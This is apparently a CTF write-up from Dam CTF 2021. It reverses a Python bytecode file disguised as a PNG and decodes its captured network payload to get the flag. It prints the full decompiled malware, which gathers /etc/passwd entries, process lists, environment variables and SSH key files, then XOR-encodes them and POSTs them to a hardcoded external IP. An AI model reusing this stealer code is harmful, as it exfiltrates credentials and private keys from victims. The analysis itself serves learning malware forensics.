Try   HackMD

Dam CTF 2021

tags: ctf

malware

sneaky-script

Wireshark

  • Target the HTTP stream => There is one GET and POST request
  • GET request => Know exactly the malware's behavior
  • POST request => Figure out the payload

Decompilation

  • It was fake as a image but when you file it, we know it's a pyc file
    ​​$~ file cbimage.png: ​​cbimage.png: python 3.6 byte-compiledpython 3.6 byte-compiled
    • Decompile online => Got the decompilation
      • The full malware source code
        ​​​​​​​​​​​​# uncompyle6 version 3.5.0 ​​​​​​​​​​​​# Python bytecode 3.6 (3379) ​​​​​​​​​​​​# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17) ​​​​​​​​​​​​# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] ​​​​​​​​​​​​# Embedded file name: /tmp/tmpaliidej5 ​​​​​​​​​​​​# Compiled at: 2021-09-26 08:59:31 ​​​​​​​​​​​​# Size of source mod 2**32: 2900 bytes ​​​​​​​​​​​​import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid ​​​​​​​​​​​​def get_net_info(): ​​​​​​​​​​​​ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ​​​​​​​​​​​​ g = array.array('B', '\x00' * 4096) ​​​​​​​​​​​​ y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0] ​​​​​​​​​​​​ n = g.tobytes() ​​​​​​​​​​​​ a = [] ​​​​​​​​​​​​ for i in range(0, y, 40): ​​​​​​​​​​​​ c = n[i:i + 16].split('\x00', 1)[0] ​​​​​​​​​​​​ c = c.decode() ​​​​​​​​​​​​ m = n[i + 20:i + 24] ​​​​​​​​​​​​ v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}" ​​​​​​​​​​​​ a.append((c, v)) ​​​​​​​​​​​​ return a ​​​​​​​​​​​​def get_users(): ​​​​​​​​​​​​ with open('/etc/passwd', 'r') as (f): ​​​​​​​​​​​​ x = [x.strip() for x in f.readlines()] ​​​​​​​​​​​​ g = [] ​​​​​​​​​​​​ for z in x: ​​​​​​​​​​​​ a = z.split(':') ​​​​​​​​​​​​ if int(a[2]) < 1000 or int(a[2]) > 65000: ​​​​​​​​​​​​ if a[0] != 'root': ​​​​​​​​​​​​ continue ​​​​​​​​​​​​ g.append((a[2], a[0], a[5], a[6])) ​​​​​​​​​​​​ return g ​​​​​​​​​​​​def get_proc(): ​​​​​​​​​​​​ n = [] ​​​​​​​​​​​​ a = os.listdir('/proc') ​​​​​​​​​​​​ for b in a: ​​​​​​​​​​​​ try: ​​​​​​​​​​​​ int(b) ​​​​​​​​​​​​ x = os.readlink(f"/proc/{b}/exe") ​​​​​​​​​​​​ with open(f"/proc/{b}/cmdline", 'rb') as (f): ​​​​​​​​​​​​ s = ' '.join(f.read().split('\x00')).decode() ​​​​​​​​​​​​ n.append((b, x, s)) ​​​​​​​​​​​​ except: ​​​​​​​​​​​​ continue ​​​​​​​​​​​​ return n ​​​​​​​​​​​​def get_ssh(u): ​​​​​​​​​​​​ s = [] ​​​​​​​​​​​​ try: ​​​​​​​​​​​​ x = os.listdir(u + '/.ssh') ​​​​​​​​​​​​ for y in x: ​​​​​​​​​​​​ try: ​​​​​​​​​​​​ with open(f"{u}/.ssh/{y}", 'r') as (f): ​​​​​​​​​​​​ s.append((y, f.read())) ​​​​​​​​​​​​ except: ​​​​​​​​​​​​ continue ​​​​​​​​​​​​ except: ​​​​​​​​​​​​ pass ​​​​​​​​​​​​ return s ​​​​​​​​​​​​def build_output(net, user, proc, ssh): ​​​​​​​​​​​​ out = {} ​​​​​​​​​​​​ out['net'] = net ​​​​​​​​​​​​ out['proc'] = proc ​​​​​​​​​​​​ out['env'] = dict(os.environ) ​​​​​​​​​​​​ out['user'] = [] ​​​​​​​​​​​​ for i in range(len(user)): ​​​​​​​​​​​​ out['user'].append({'info':user[i], 'ssh':ssh[i]}) ​​​​​​​​​​​​ return out ​​​​​​​​​​​​def send(data): ​​​​​​​​​​​​ c = http.client.HTTPConnection('34.207.187.90') ​​​​​​​​​​​​ p = json.dumps(data).encode() ​​​​​​​​​​​​ k = '8675309' ​​​​​​​​​​​​ d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))]) ​​​​​​​​​​​​ c.request('POST', '/upload', base64.b64encode(d)) ​​​​​​​​​​​​ x = c.getresponse() ​​​​​​​​​​​​ print(x) ​​​​​​​​​​​​def a(): ​​​​​​​​​​​​ key = ':'.join(re.findall('..', '%012x' % uuid.getnode())) ​​​​​​​​​​​​ if '4b:e1:d6:a8:66:be' != key: ​​​​​​​​​​​​ return ​​​​​​​​​​​​ net = get_net_info() ​​​​​​​​​​​​ user = get_users() ​​​​​​​​​​​​ proc = get_proc() ​​​​​​​​​​​​ ssh = [] ​​​​​​​​​​​​ for _, _, a, _ in user: ​​​​​​​​​​​​ ssh.append(get_ssh(a)) ​​​​​​​​​​​​ data = build_output(net, user, proc, ssh) ​​​​​​​​​​​​ # send(data) ​​​​​​​​​​​​ print(send) ​​​​​​​​​​​​try: ​​​​​​​​​​​​ a() ​​​​​​​​​​​​except: ​​​​​​​​​​​​ pass

Reverse the payload

from pwn import * import base64 with open('sensitive_data.txt', 'r') as sensitive_data: flag = sensitive_data.read() p = bytes.fromhex(flag) p = base64.b64decode(p) k = '8675309' d = bytes([p[i] ^ ord(k[(i % len(k))]) for i in range(len(p))]) sensitive_data = d.decode('utf-8') if 'dam' in sensitive_data: info("Got flag!") x = sensitive_data.find('dam') info(sensitive_data[x:x+32])

Got the flag: dam{oh_n0_a1l_muh_k3y5_are_g0n3}

Result